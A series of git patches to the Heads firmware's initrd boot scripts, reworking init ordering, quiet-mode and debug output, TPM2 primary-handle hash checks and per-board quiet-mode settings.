+enable_usb() +{ + TRACE_FUNC + #insmod ehci_hcd prior of uhdc_hcd and ohci_hcd to suppress dmesg warning + insmod /lib/modules/ehci-hcd.ko || die "ehci_hcd: module load failed" + + if [ "$CONFIG_LINUX_USB_COMPANION_CONTROLLER" = y ]; then + insmod /lib/modules/uhci-hcd.ko || die "uhci_hcd: module load failed" + insmod /lib/modules/ohci-hcd.ko || die "ohci_hcd: module load failed" + insmod /lib/modules/ohci-pci.ko || die "ohci_pci: module load failed" + fi + insmod /lib/modules/ehci-pci.ko || die "ehci_pci: module load failed" + insmod /lib/modules/xhci-hcd.ko || die "xhci_hcd: module load failed" + insmod /lib/modules/xhci-pci.ko || die "xhci_pci: module load failed" + sleep 2 + + # For resiliency, test CONFIG_USB_KEYBOARD_REQUIRED explicitly rather + # than having it imply CONFIG_USER_USB_KEYBOARD at build time. + # Otherwise, if a user got CONFIG_USER_USB_KEYBOARD=n in their + # config.user by mistake (say, by copying config.user from a laptop to a + # desktop/server), they could lock themselves out, only recoverable by + # hardware flash. + if [ "$CONFIG_USB_KEYBOARD_REQUIRED" = y ] || [ "$CONFIG_USER_USB_KEYBOARD" = y ]; then + insmod /lib/modules/usbhid.ko || die "usbhid: module load failed" + fi +} + +# ------- End of functions coming from /etc/ash_functions + # Print or depending on whether $1 is empty. Useful to mask an # optional password parameter. diff --git a/initrd/init b/initrd/init index 3b308f139..578ec4a59 100755 --- a/initrd/init +++ b/initrd/init @@ -1,4 +1,4 @@ -#! /bin/ash +#! /bin/bash # Note this is used on legacy-flash boards that lack bash, it runs with busybox # ash. Calls to bash scripts must be guarded by checking config. @@ -56,7 +56,7 @@ hwclock -l -s (grep -v '^\texfat$' /proc/filesystems && echo -e '\texfat') >/etc/filesystems # Read the system configuration parameters -. /etc/ash_functions +. /etc/functions . /etc/config # report if we are in quiet mode, tell logs available under /tmp/debug.log @@ -81,7 +81,7 @@ else DEBUG "Debug output enabled from /etc/config.user's CONFIG_DEBUG_OUTPUT=y after combine_configs (Config menu enabled Debug)" fi -TRACE "Under init" +TRACE_FUNC # make sure we have sysctl requirements if [ ! -d /proc/sys ]; then @@ -173,7 +173,7 @@ if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then # config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y dmesg -n 8 DEBUG "Debug output enabled from /etc/config.user's CONFIG_DEBUG_OUTPUT=y after combine_configs (Config menu enabled Debug)" - TRACE "Under init:after combine_configs" + TRACE_FUNC fi fi From b5c24f24476d8311e19668ab1472c92bec873c7c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 16 Dec 2024 13:28:34 -0500 Subject: [PATCH 429/619] init+cbfs-init: refactor and explain why quiet mode cannot suppress measurements of cbfs-init extracted+measured TPM stuff if not in board config Signed-off-by: Thierry Laurion --- initrd/bin/cbfs-init | 7 +++ initrd/init | 145 ++++++++++++++++++++----------------------- 2 files changed, 75 insertions(+), 77 deletions(-) diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index d89effe5e..a31fc1941 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -2,6 +2,13 @@ set -e -o pipefail . /etc/functions +# CBFS extraction and measurement +# This extraction and measurement cannot be suppressed by quiet mode, since +# config.user is not yet loaded at this point. +# To suppress this output, set CONFIG_QUIET_MODE=y needs be be set in /etc/config +# which is defined at buiid time under board configuration file to be part of initrd.cpio +# This script is called from initrd/init + TRACE_FUNC # Update initrd with CBFS files diff --git a/initrd/init b/initrd/init index 578ec4a59..10838851a 100755 --- a/initrd/init +++ b/initrd/init @@ -3,7 +3,7 @@ # ash. Calls to bash scripts must be guarded by checking config. mknod /dev/ttyprintk c 5 3 -echo "hello world" > /dev/ttyprintk +echo "hello world" >/dev/ttyprintk # Setup our path export PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin @@ -43,7 +43,7 @@ mkdir -p /tmp/secret # Now it is safe to print a banner if [ -r /etc/motd ]; then - cat /etc/motd > /dev/tty0 + cat /etc/motd >/dev/tty0 fi # Load the date from the hardware clock, setting it in local time @@ -55,30 +55,67 @@ hwclock -l -s # filesystem after exFAT is iso9660, move exFAT last. (grep -v '^\texfat$' /proc/filesystems && echo -e '\texfat') >/etc/filesystems -# Read the system configuration parameters -. /etc/functions +# Read the system configuration parameters from build time board configuration . /etc/config +# import global functions +. /etc/functions -# report if we are in quiet mode, tell logs available under /tmp/debug.log -if [ "$CONFIG_QUIET_MODE" = "y" ]; then - echo "Quiet mode enabled. To see technical output, do 'cat /tmp/debug.log' from Recovery Shell!" > /dev/tty0 +# export user related content from cbfs +if [ "$CONFIG_COREBOOT" = "y" ]; then + /bin/cbfs-init +fi + +# Override CONFIG_USE_BLOB_JAIL if needed and persist via user config +if lspci -n | grep -E -q "8086:(2723|4df0)"; then + if ! cat /etc/config.user 2>/dev/null | grep -q "USE_BLOB_JAIL"; then + echo "CONFIG_USE_BLOB_JAIL=y" >>/etc/config.user + fi fi -# Board config had CONFIG_DEBUG_OUTPUT=y defined. -# Note that boards's coreboot config kernel command line "debug" option only will have all kernel messages output on console prior of this point +# Override CONFIG_TPM and CONFIG_TPM2_TOOLS from /etc/config with runtime value +# determined above. +# +# Values in user config have higher priority during combining thus effectively +# changing the value for the rest of the scripts which source /tmp/config. + +#Only set CONFIG_TPM and CONFIG_TPM2_TOOLS if they are not already set in /etc/config.user +if ! grep -q 'CONFIG_TPM=' /etc/config.user 2>/dev/null; then + echo "export CONFIG_TPM=\"$CONFIG_TPM\"" >>/etc/config.user +fi +if ! grep -q 'CONFIG_TPM2_TOOLS=' /etc/config.user 2>/dev/null; then + echo "export CONFIG_TPM2_TOOLS=\"$CONFIG_TPM2_TOOLS\"" >>/etc/config.user +fi + +# CONFIG_BASIC was previously CONFIG_PUREBOOT_BASIC in the PureBoot distribution. +# Substitute it in config.user if present for backward compatibility. +sed -i -e 's/^export CONFIG_PUREBOOT_BASIC=/export CONFIG_BASIC=/g' /etc/config.user + +# Combine user configuration overrides from CBFS's /etc/config.user +combine_configs +# Load the user configuration parameters from combined config +. /tmp/config + +# Enable maximum debug info from here if config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then - #Maximize printk messages to output all to console (8=debug) - #DEBUG and TRACE calls will output to /dev/kmsg, outputting both on dmesg and on console - dmesg -n 8 || true - DEBUG "Debug output enabled from board CONFIG_DEBUG_OUTPUT=y option (/etc/config)" -else - # Board config did't have CONFIG_DEBUG_OUTPUT=y defined + #Output all kernel messages to console (8=debug) + #DEBUG and TRACE calls will be in dmesg and on console # config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y - # Output only print messages with a priority of 4 (warnings) or lower (errors and critical) kernel messages to console - # This way, "debug" kernel command line option will have all kernel messages output on console prior of this point - # This is useful to debug boot issues but permits qemu board to boot without flooding console with kernel messages by disabling CONFIG_DEBUG_OUTPUT=y in qemu board config - dmesg -n 4 || true - DEBUG "Debug output enabled from /etc/config.user's CONFIG_DEBUG_OUTPUT=y after combine_configs (Config menu enabled Debug)" + dmesg -n 8 + DEBUG "Full debug output enabled from this point. For earlier debug output, enable CONFIG_DEBUG_OUTPUT=y in your board configuration at build time." + TRACE_FUNC +fi + +# report if we are in quiet mode, tell user measurements logs available under /tmp/debug.log +if [ "$CONFIG_QUIET_MODE" = "y" ]; then + # check origin of quiet mode setting =y: if it is under /etc/config.user then early cbfs-init outputs are not suppressible + # if it is under /etc/config then early cbfs-init outputs are suppressible + if ! grep -q 'CONFIG_QUIET_MODE="y"' /etc/config.user 2>/dev/null; then + echo "Quiet mode enabled at build time: see /tmp/debug.log for boot measurements related traces" >/dev/tty0 + else + echo "Quiet mode enabled at runtime by user configuration: see /tmp/debug.log for additional boot measurements traces past this point" >/dev/tty0 + echo "To suppress earlier boot measurements traces, enable CONFIG_QUIET_MODE=y in your board configuration at build time." >/dev/tty0 + " >/dev/tty0 + fi fi TRACE_FUNC @@ -91,15 +128,14 @@ if [ ! -d /proc/sys ]; then warn "Please open an issue" fi -if [ ! -e /proc/sys/vm/panic_on_oom ]; then - warn "BUG!!! Requirements to setup Panic when under Out Of Memory situation through PROC_SYSCTL are missing (panic_on_oom was not enabled)" +if [ ! -e /proc/sys/vm/panic_on_oom ]; then + warn "BUG!!! Requirements to setup Panic when under Out Of Memory situation through PROC_SYSCTL are missing (panic_on_oom was not enabled)" warn "Please open an issue" else DEBUG "Applying panic_on_oom setting to sysctl" - echo 1 > /proc/sys/vm/panic_on_oom + echo 1 >/proc/sys/vm/panic_on_oom fi - # set CONFIG_TPM dynamically before init if [ ! -e /dev/tpm0 ]; then CONFIG_TPM='n' @@ -122,9 +158,6 @@ if [ "$CONFIG_TPM" = "y" ]; then tpmr startsession fi -if [ "$CONFIG_COREBOOT" = "y" ]; then - [ -x /bin/bash ] && /bin/cbfs-init -fi if [ "$CONFIG_LINUXBOOT" = "y" ]; then /bin/uefi-init fi @@ -134,56 +167,14 @@ fi export GPG_TTY=/dev/console # Initialize gpnupg with distro/user keys and setup the keyrings -[ -x /bin/bash ] && /bin/key-init - -# Override CONFIG_USE_BLOB_JAIL if needed and persist via user config -if lspci -n | grep -E -q "8086:(2723|4df0)"; then - if ! cat /etc/config.user 2>/dev/null | grep -q "USE_BLOB_JAIL"; then - echo "CONFIG_USE_BLOB_JAIL=y" >> /etc/config.user - fi -fi - -# Override CONFIG_TPM and CONFIG_TPM2_TOOLS from /etc/config with runtime value -# determined above. -# -# Values in user config have higher priority during combining thus effectively -# changing the value for the rest of the scripts which source /tmp/config. - -#Only set CONFIG_TPM and CONFIG_TPM2_TOOLS if they are not already set in /etc/config.user -if ! grep -q 'CONFIG_TPM=' /etc/config.user 2>/dev/null; then - echo "export CONFIG_TPM=\"$CONFIG_TPM\"" >> /etc/config.user -fi -if ! grep -q 'CONFIG_TPM2_TOOLS=' /etc/config.user 2> /dev/null; then - echo "export CONFIG_TPM2_TOOLS=\"$CONFIG_TPM2_TOOLS\"" >> /etc/config.user -fi - -# CONFIG_BASIC was previously CONFIG_PUREBOOT_BASIC in the PureBoot distribution. -# Substitute it in config.user if present for backward compatibility. -sed -i -e 's/^export CONFIG_PUREBOOT_BASIC=/export CONFIG_BASIC=/g' /etc/config.user - -combine_configs -. /tmp/config - -# Enable maximum debug info from here if config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y -if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then - #Output all kernel messages to console (8=debug) - #DEBUG and TRACE calls will be in dmesg and on console - if ! grep -q 'CONFIG_DEBUG_OUTPUT="y"' /etc/config;then - # Board config did't have CONFIG_DEBUG_OUTPUT=y defined - # config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y - dmesg -n 8 - DEBUG "Debug output enabled from /etc/config.user's CONFIG_DEBUG_OUTPUT=y after combine_configs (Config menu enabled Debug)" - TRACE_FUNC - fi -fi - +/bin/key-init # Setup recovery serial shell if [ ! -z "$CONFIG_BOOT_RECOVERY_SERIAL" ]; then stty -F "$CONFIG_BOOT_RECOVERY_SERIAL" 115200 pause_recovery 'Serial console recovery shell' \ - < "$CONFIG_BOOT_RECOVERY_SERIAL" \ - > "$CONFIG_BOOT_RECOVERY_SERIAL" 2>&1 & + <"$CONFIG_BOOT_RECOVERY_SERIAL" \ + >"$CONFIG_BOOT_RECOVERY_SERIAL" 2>&1 & fi # load USB modules for boards using a USB keyboard @@ -207,14 +198,14 @@ if [ "$boot_option" = "r" ]; then exit elif [ "$boot_option" = "o" ]; then # Launch OEM Factory Reset mode - echo -e "***** Entering OEM Factory Reset mode\n" > /dev/tty0 + echo -e "***** Entering OEM Factory Reset mode\n" >/dev/tty0 oem-factory-reset --mode oem # just in case... exit fi if [ "$CONFIG_BASIC" = "y" ]; then - echo -e "***** BASIC mode: tamper detection disabled\n" > /dev/tty0 + echo -e "***** BASIC mode: tamper detection disabled\n" >/dev/tty0 fi # export firmware version @@ -223,11 +214,11 @@ export FW_VER=$(fw_version) # Add our boot devices into the /etc/fstab, if they are defined # in the configuration file. if [ ! -z "$CONFIG_BOOT_DEV" ]; then - echo >> /etc/fstab "$CONFIG_BOOT_DEV /boot auto defaults,ro 0 0" + echo >>/etc/fstab "$CONFIG_BOOT_DEV /boot auto defaults,ro 0 0" fi # Set the console font if needed -[ -x /bin/bash ] && setconsolefont.sh +setconsolefont.sh if [ "$CONFIG_BASIC" = "y" ]; then CONFIG_BOOTSCRIPT=/bin/gui-init-basic @@ -257,7 +248,7 @@ else setsid agetty -aroot -l"$CONFIG_BOOTSCRIPT" "$console" linux & done fi - + #Setup a control tty so that all terminals outputs correct tty when tty is called exec cttyhack "$CONFIG_BOOTSCRIPT" else From 60ba06dab2ec2653eae96c764cd055e330861f0a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 16 Dec 2024 16:27:49 -0500 Subject: [PATCH 430/619] DEBUG: inform that output will be both in dmesg and on console from where that measure is enforced in code This is equivalent of passing debug on kernel command line from coreboot config, even is enabled through config options and saved back in CBFS. Signed-off-by: Thierry Laurion --- initrd/init | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/initrd/init b/initrd/init index 10838851a..d577f65fa 100755 --- a/initrd/init +++ b/initrd/init @@ -101,7 +101,7 @@ if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then #DEBUG and TRACE calls will be in dmesg and on console # config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y dmesg -n 8 - DEBUG "Full debug output enabled from this point. For earlier debug output, enable CONFIG_DEBUG_OUTPUT=y in your board configuration at build time." + DEBUG "Full debug output enabled from this point: output both in dmesg and on console (equivalent of passing debug to kernel cmdline)" TRACE_FUNC fi @@ -114,7 +114,6 @@ if [ "$CONFIG_QUIET_MODE" = "y" ]; then else echo "Quiet mode enabled at runtime by user configuration: see /tmp/debug.log for additional boot measurements traces past this point" >/dev/tty0 echo "To suppress earlier boot measurements traces, enable CONFIG_QUIET_MODE=y in your board configuration at build time." >/dev/tty0 - " >/dev/tty0 fi fi From ef4cdfa77e5c4b07633343282ca5788a314d7b77 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 16 Dec 2024 16:39:12 -0500 Subject: [PATCH 431/619] init: some more comments in code per review Signed-off-by: Thierry Laurion --- initrd/init | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/initrd/init b/initrd/init index d577f65fa..9c9860630 100755 --- a/initrd/init +++ b/initrd/init @@ -100,9 +100,9 @@ if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then #Output all kernel messages to console (8=debug) #DEBUG and TRACE calls will be in dmesg and on console # config.user extracted and combined from CBFS had CONFIG_DEBUG_OUTPUT=y + TRACE_FUNC dmesg -n 8 DEBUG "Full debug output enabled from this point: output both in dmesg and on console (equivalent of passing debug to kernel cmdline)" - TRACE_FUNC fi # report if we are in quiet mode, tell user measurements logs available under /tmp/debug.log @@ -135,7 +135,7 @@ else echo 1 >/proc/sys/vm/panic_on_oom fi -# set CONFIG_TPM dynamically before init +# set CONFIG_TPM dynamically off before init if no TPM device is present if [ ! -e /dev/tpm0 ]; then CONFIG_TPM='n' CONFIG_TPM2_TOOLS='n' @@ -158,6 +158,7 @@ if [ "$CONFIG_TPM" = "y" ]; then fi if [ "$CONFIG_LINUXBOOT" = "y" ]; then + # Initialize the UEFI environment for linuxboot boards /bin/uefi-init fi From 91299fd89b3df1f17d338f99889016c68c4cbff7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 16 Dec 2024 16:47:06 -0500 Subject: [PATCH 432/619] seal-totp: contextualize qr code output for manual input of those without qr scanner app in mobile phone Signed-off-by: Thierry Laurion --- initrd/bin/seal-totp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/initrd/bin/seal-totp b/initrd/bin/seal-totp index 1fa24fbc0..cc1147054 100755 --- a/initrd/bin/seal-totp +++ b/initrd/bin/seal-totp @@ -59,4 +59,6 @@ secret="" DEBUG "TOTP secret output on screen (both URL and QR code)" qrenc "$url" + +echo "TOTP secret for manual input (if no mobile phone) is after the 'secret=' part of the URL:" echo "$url" From 885af7d39f27432c9fdfde340dd2880ae71c2cdd Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 16 Dec 2024 17:47:25 -0500 Subject: [PATCH 433/619] kexec-select-boot+kexec-save-default: Quiet mode; remove last rollback counters printed to console Signed-off-by: Thierry Laurion --- initrd/bin/kexec-save-default | 2 +- initrd/bin/kexec-select-boot | 6 ++---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/initrd/bin/kexec-save-default b/initrd/bin/kexec-save-default index 828e7d984..24f3b2076 100755 --- a/initrd/bin/kexec-save-default +++ b/initrd/bin/kexec-save-default @@ -277,7 +277,7 @@ if [ ! -d $paramsdir ]; then fi if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then - sha256sum /tmp/secret/primary.handle >"$PRIMHASH_FILE" || + sha256sum /tmp/secret/primary.handle >"$PRIMHASH_FILE" >/dev/null 2>&1 || die "ERROR: Failed to Hash TPM2 primary key handle!" DEBUG "TPM2 primary key handle hash saved to $PRIMHASH_FILE" fi diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 7a45c9f8c..d6b33d6cd 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -61,7 +61,7 @@ paramsdir="${paramsdir%%/}" PRIMHASH_FILE="$paramsdir/kexec_primhdl_hash.txt" if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then if [ -r "$PRIMHASH_FILE" ]; then - sha256sum -c "$PRIMHASH_FILE" || + sha256sum -c "$PRIMHASH_FILE" >/dev/null 2>&1 || { echo "FATAL: Hash of TPM2 primary key handle mismatch!" warn "If you have not intentionally regenerated TPM2 primary key," @@ -116,8 +116,6 @@ verify_rollback_counter() { TRACE_FUNC TPM_COUNTER=$(grep counter $TMP_ROLLBACK_FILE | cut -d- -f2) - DEBUG "TPM_COUNTER: $TPM_COUNTER found in $TMP_ROLLBACK_FILE" - if [ -z "$TPM_COUNTER" ]; then die "$TMP_ROLLBACK_FILE: TPM counter not found?" fi @@ -125,7 +123,7 @@ verify_rollback_counter() { read_tpm_counter $TPM_COUNTER >/dev/null 2>&1 || die "Failed to read TPM counter" - sha256sum -c $TMP_ROLLBACK_FILE || + sha256sum -c $TMP_ROLLBACK_FILE >/dev/null 2>&1 || die "Invalid TPM counter state. TPM Reset required" valid_rollback="y" From f981ef971c0864d6b355b50296d28e189142ed37 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 17 Dec 2024 13:40:44 -0500 Subject: [PATCH 434/619] init: Quiet mode enablement output string modified; tell users having enabled it through Configuration Settings that earlier suppression requires enabling through board config Signed-off-by: Thierry Laurion --- initrd/init | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/initrd/init b/initrd/init index 9c9860630..28e42ca28 100755 --- a/initrd/init +++ b/initrd/init @@ -110,9 +110,9 @@ if [ "$CONFIG_QUIET_MODE" = "y" ]; then # check origin of quiet mode setting =y: if it is under /etc/config.user then early cbfs-init outputs are not suppressible # if it is under /etc/config then early cbfs-init outputs are suppressible if ! grep -q 'CONFIG_QUIET_MODE="y"' /etc/config.user 2>/dev/null; then - echo "Quiet mode enabled at build time: see /tmp/debug.log for boot measurements related traces" >/dev/tty0 + echo "Quiet mode enabled: refer to '/tmp/debug.log' for boot measurements traces" >/dev/tty0 else - echo "Quiet mode enabled at runtime by user configuration: see /tmp/debug.log for additional boot measurements traces past this point" >/dev/tty0 + echo "Runtime Quiet mode: refer to '/tmp/debug.log' for additional boot measurements traces past this point" >/dev/tty0 echo "To suppress earlier boot measurements traces, enable CONFIG_QUIET_MODE=y in your board configuration at build time." >/dev/tty0 fi fi From 71d4260045264be4fb364700fff5fe9d4d393142 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 17 Dec 2024 14:39:54 -0500 Subject: [PATCH 435/619] novacustom_nv4x_adl/novacustom_nv4x_adl.config : add quiet mode for real hardware recording in PR, will comment and generalize in next commit to all maintained boards, leaving this to be overriden by branding downstream for downstream releases exercice and choice Signed-off-by: Thierry Laurion --- boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config | 3 +++ 1 file changed, 3 insertions(+) diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 92ab67d40..607fbaacb 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -14,6 +14,9 @@ CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config #Enable TPM2 pcap output under /tmp #export CONFIG_TPM2_CAPTURE_PCAP=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y + #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y From 1e6079620a7626693e7dc3ccb9219259b02f0f60 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 17 Dec 2024 16:10:48 -0500 Subject: [PATCH 436/619] TPM2 primary handle debugging once more. Can't wait we get rid of this... Signed-off-by: Thierry Laurion --- initrd/bin/kexec-save-default | 14 ++++++++++---- initrd/bin/kexec-select-boot | 2 ++ 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/initrd/bin/kexec-save-default b/initrd/bin/kexec-save-default index 24f3b2076..d59b9f9aa 100755 --- a/initrd/bin/kexec-save-default +++ b/initrd/bin/kexec-save-default @@ -223,7 +223,7 @@ if [ "$CONFIG_TPM" = "y" ] && [ "$CONFIG_TPM_NO_LUKS_DISK_UNLOCK" != "y" ] && [ -n 1 \ -p "Do you wish to add a disk encryption key to the TPM [y/N]: " \ add_key_confirm - #TODO: still not convinced: disk encryption key? decryption key? everywhere TPM Disk Unlock Key. Confusing even more? + #TODO: still not convinced: disk encryption key? decryption key? everywhere TPM Disk Unlock Key. Confusing even more? echo if [ "$add_key_confirm" = "y" \ @@ -277,9 +277,15 @@ if [ ! -d $paramsdir ]; then fi if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then - sha256sum /tmp/secret/primary.handle >"$PRIMHASH_FILE" >/dev/null 2>&1 || - die "ERROR: Failed to Hash TPM2 primary key handle!" - DEBUG "TPM2 primary key handle hash saved to $PRIMHASH_FILE" + if [ -f /tmp/secret/primary.handle ]; then + DEBUG "Hashing TPM2 primary key handle..." + sha256sum /tmp/secret/primary.handle >"$PRIMHASH_FILE" 2>/dev/null || + die "ERROR: Failed to Hash TPM2 primary key handle!" + DEBUG "TPM2 primary key handle hash saved to $PRIMHASH_FILE" + DEBUG "Hash content: $(cat $PRIMHASH_FILE)" + else + die "ERROR: TPM2 primary key handle file does not exist!" + fi fi rm $paramsdir/kexec_default.*.txt 2>/dev/null || true diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index d6b33d6cd..405047735 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -67,6 +67,8 @@ if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then warn "If you have not intentionally regenerated TPM2 primary key," warn "your system may have been compromised" DEBUG "Hash of TPM2 primary key handle mismatched for $PRIMHASH_FILE" + DEBUG "Contents of $PRIMHASH_FILE:" + DEBUG "$(cat $PRIMHASH_FILE)" } else warn "Hash of TPM2 primary key handle does not exist" From 02d8ce8d0dc48858442eed1cf03df17a8b678e5f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 18 Dec 2024 14:57:48 -0500 Subject: [PATCH 437/619] kexec-save-default kexec-select-boot: fix primary handle once more. Can't wait we get rid of this... file must exist and not be empty, and hash output to console must not be silenced Signed-off-by: Thierry Laurion --- initrd/bin/kexec-save-default | 3 +-- initrd/bin/kexec-select-boot | 3 ++- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/initrd/bin/kexec-save-default b/initrd/bin/kexec-save-default index d59b9f9aa..22ed28cfa 100755 --- a/initrd/bin/kexec-save-default +++ b/initrd/bin/kexec-save-default @@ -279,10 +279,9 @@ fi if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then if [ -f /tmp/secret/primary.handle ]; then DEBUG "Hashing TPM2 primary key handle..." - sha256sum /tmp/secret/primary.handle >"$PRIMHASH_FILE" 2>/dev/null || + sha256sum /tmp/secret/primary.handle > "$PRIMHASH_FILE" || die "ERROR: Failed to Hash TPM2 primary key handle!" DEBUG "TPM2 primary key handle hash saved to $PRIMHASH_FILE" - DEBUG "Hash content: $(cat $PRIMHASH_FILE)" else die "ERROR: TPM2 primary key handle file does not exist!" fi diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 405047735..e3390ac41 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -60,7 +60,8 @@ paramsdir="${paramsdir%%/}" PRIMHASH_FILE="$paramsdir/kexec_primhdl_hash.txt" if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then - if [ -r "$PRIMHASH_FILE" ]; then + if [ -s "$PRIMHASH_FILE" ]; then + #PRIMHASH_FILE (normally /boot/kexec_primhdl_hash.txt) exists and is not empty sha256sum -c "$PRIMHASH_FILE" >/dev/null 2>&1 || { echo "FATAL: Hash of TPM2 primary key handle mismatch!" From 494ba0927052af9909b6c6a4a788498513cb3aa6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 18 Dec 2024 16:26:34 -0500 Subject: [PATCH 438/619] novacustom-nv4x board config: revert quiet mode enablement Signed-off-by: Thierry Laurion --- boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config | 3 --- 1 file changed, 3 deletions(-) diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 607fbaacb..92ab67d40 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -14,9 +14,6 @@ CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config #Enable TPM2 pcap output under /tmp #export CONFIG_TPM2_CAPTURE_PCAP=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y From bcd364c28099ca40b87a0fce9fcf1a3f4ade2d21 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 18 Dec 2024 16:27:31 -0500 Subject: [PATCH 439/619] TO REVERT BEFORE MERGE: enable quiet mode in all boards and revert for qemu so only prod_quiet boards have quiet upon revert repro user@localhost:~/heads$ sed -i 's|export CONFIG_BOOTSCRIPT=/bin/gui-init|#Enable quiet mode: technical information logged under /tmp/debug.log\nexport CONFIG_QUIET_MODE=y\nexport CONFIG_BOOTSCRIPT=/bin/gui-init|' boards/*/*.config user@localhost:~/heads$ git restore boards/*qemu*/*.config Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 2 ++ .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 2 ++ .../UNMAINTAINED_kgpe-d16_workstation.config | 2 ++ boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config | 2 ++ boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config | 2 ++ boards/librem_11/librem_11.config | 2 ++ boards/librem_13v2/librem_13v2.config | 2 ++ boards/librem_13v4/librem_13v4.config | 2 ++ boards/librem_14/librem_14.config | 2 ++ boards/librem_15v3/librem_15v3.config | 2 ++ boards/librem_15v4/librem_15v4.config | 2 ++ boards/librem_l1um/librem_l1um.config | 2 ++ boards/librem_l1um_v2/librem_l1um_v2.config | 2 ++ boards/librem_mini/librem_mini.config | 2 ++ boards/librem_mini_v2/librem_mini_v2.config | 2 ++ boards/nitropad-ns50/nitropad-ns50.config | 2 ++ boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config | 2 ++ .../optiplex-7010_9010-hotp-maximized.config | 2 ++ .../optiplex-7010_9010-maximized.config | 2 ++ .../optiplex-7010_9010_TXT-hotp-maximized.config | 2 ++ .../optiplex-7010_9010_TXT-maximized.config | 2 ++ boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 ++ boards/t420-maximized/t420-maximized.config | 2 ++ boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 ++ boards/t430-maximized/t430-maximized.config | 2 ++ boards/t530-hotp-maximized/t530-hotp-maximized.config | 2 ++ boards/t530-maximized/t530-maximized.config | 2 ++ boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 ++ boards/w530-maximized/w530-maximized.config | 2 ++ boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 ++ boards/x220-maximized/x220-maximized.config | 2 ++ .../x230-hotp-maximized-fhd_edp.config | 2 ++ boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 ++ .../x230-hotp-maximized_usb-kb.config | 2 ++ boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 ++ boards/x230-maximized/x230-maximized.config | 2 ++ boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 ++ 37 files changed, 74 insertions(+) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 271affcd0..607daec86 100644 --- 